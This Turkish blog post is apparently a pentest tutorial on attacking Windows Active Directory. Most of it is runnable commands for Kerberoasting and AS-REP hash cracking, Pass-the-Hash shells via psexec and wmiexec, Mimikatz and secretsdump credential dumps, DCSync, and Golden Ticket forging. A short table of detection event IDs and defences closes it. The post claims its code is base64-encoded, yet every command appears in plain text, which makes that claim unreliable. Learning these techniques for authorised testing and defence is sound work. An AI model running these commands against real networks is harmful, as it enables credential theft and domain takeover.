Kurumsal ağların omurgası olan Active Directory'ye yönelik Kerberoasting, Pass-the-Hash, BloodHound ile yol analizi ve DCSync saldırılarını ele aldım.
Bu yazı defansif araştırma amaçlı saldırı pattern örnekleri içerir. Aşağıdaki kod blokları antivirüs yazılımlarının yanlış pozitif tetiklemesini önlemek için base64 ile encode edilmiştir; tarayıcınızda otomatik olarak decode olur. Bu içerikler yalnızca yetkilendirilmiş test ortamlarında ve eğitim amacıyla kullanılmalıdır.
Kurumsal ağların büyük çoğunluğu kimlik doğrulama ve yetkilendirme için Windows Active Directory kullanır. Bir domain kullanıcısı ele geçirildikten sonra AD zafiyetleri sömürülerek Domain Admin yetkisine ulaşmak mümkündür. Bu yüzden AD saldırıları her pentest metodolojisinin merkezindedir.
"Own the AD, own the network."
# Domain bilgisi
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Domain Controller'ları bul
nltest /dclist:DOMAIN
# Tüm kullanıcılar
net user /domain
# Gruplar
net group /domain
# Linux'tan — impacketpython3 GetADUsers.py -all DOMAIN/user:pass -dc-ip 10.10.10.1python3 GetUserSPNs.py DOMAIN/user:pass -dc-ip 10.10.10.1
BloodHound, AD ilişkilerini görselleştirerek Domain Admin'e giden en kısa yolu bulur.
# SharpHound ile veri topla (hedef Windows makine)
.\SharpHound.exe -c All --zipfilename loot.zip
# Linux'tan — bloodhound-python
pip install bloodhound
bloodhound-python -u user -p pass -d DOMAIN.LOCAL \
-dc 10.10.10.1 -c All --zip# Neo4j ve BloodHound başlat
sudo neo4j start
bloodhound &
# Panel: http://localhost:7474
# Credentials: neo4j / neo4j (ilk girişte değiştirin)BloodHound'da işe yarar sorgular:
Shortest Paths to Domain AdminsFind Principals with DCSync RightsUsers with Most Local Admin RightsKerberoastable Users
Service Principal Name (SPN) tanımlı hesaplar için Kerberos servis bileti talep edilir, bu bilet offline kırılabilir.
# impacket ile — ağdan direktpython3 GetUserSPNs.py DOMAIN/user:pass \-dc-ip 10.10.10.1 -request -outputfile hashes.txt# Hedef Windows makineden — Rubeus.\Rubeus.exe kerberoast /outfile:hashes.txt
Hash'i kır:
# Hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# John
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txtPre-authentication devre dışı olan kullanıcılar için şifre gerektirmeden hash alınabilir.
# Kullanıcı adları biliniyor
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt \
-dc-ip 10.10.10.1 -format hashcat -outputfile asrep.txt
# Hash kır
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txtNTLM hash ele geçirildikten sonra şifreyi kırmaya gerek kalmadan kimlik doğrulaması yapılabilir.
# impacket — psexec ile shell
python3 psexec.py -hashes :NTLM_HASH DOMAIN/Administrator@10.10.10.1
# wmiexec
python3 wmiexec.py -hashes :NTLM_HASH DOMAIN/user@10.10.10.1
# smbexec
python3 smbexec.py -hashes :NTLM_HASH DOMAIN/user@10.10.10.1
# NetExec (CrackMapExec'in maintained fork'u; CME Apr 2024'te archive'landı) ile ağ genelinde test
nxc smb 10.10.10.0/24 -u Administrator -H NTLM_HASH# Mimikatz — LSASS'tan hash dump (hedef Windows)mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswordsmimikatz # lsadump::sam# Secretsdump — uzaktanpython3 secretsdump.py DOMAIN/user:pass@10.10.10.1python3 secretsdump.py -hashes :NTLM_HASH DOMAIN/user@10.10.10.1# NTDS.dit dump (DC'de)python3 secretsdump.py -ntds /path/ntds.dit -system /path/SYSTEM LOCAL
Domain Admin yetkisi ya da replikasyon hakları (Replicating Directory Changes ve Replicating Directory Changes All) bir hesapta varsa, o hesapla tüm domain hash'leri çekilebilir. Bu iki hak birlikte gerekir — tek başına biri yetmez.
# Mimikatzmimikatz # lsadump::dcsync /domain:DOMAIN.LOCAL /user:Administrator# impacketpython3 secretsdump.py DOMAIN/user:pass@DC_IP -just-dc-user Administratorpython3 secretsdump.py DOMAIN/user:pass@DC_IP -just-dc # tüm hesaplar
krbtgt hash'i ele geçirildikten sonra herhangi bir kullanıcı adına sahte Kerberos bileti üretilebilir.
# Mimikatz — krbtgt hash'i almimikatz # lsadump::dcsync /user:krbtgt# Golden ticket oluşturmimikatz # kerberos::golden \/user:Administrator \/domain:DOMAIN.LOCAL \/sid:S-1-5-21-XXXXX \/krbtgt:KRBTGT_NTLM_HASH \/ticket:golden.kirbi# Bileti yüklemimikatz # kerberos::ptt golden.kirbi# Doğrulaklistdir \\DC01\C$
| Saldırı | Tespit Yöntemi | Savunma | |---|---|---| | Kerberoasting | Event ID 4769 (TGS istekleri) | Güçlü servis hesabı parolaları | | AS-REP Roasting | Event ID 4768 (pre-auth yok) | Pre-authentication zorunlu kıl | | Pass-the-Hash | Event ID 4624 (logon type 3) | Protected Users grubu | | DCSync | Event ID 4662 (replication) | DCSync haklarını denetle | | Golden Ticket | Event ID 4769 + anormal bilet ömrü | krbtgt parolasını düzenli sıfırla |
Bir sonraki yazıda Lateral Movement ve pivot teknikleri ile ağ içinde yayılmayı ele alacağım.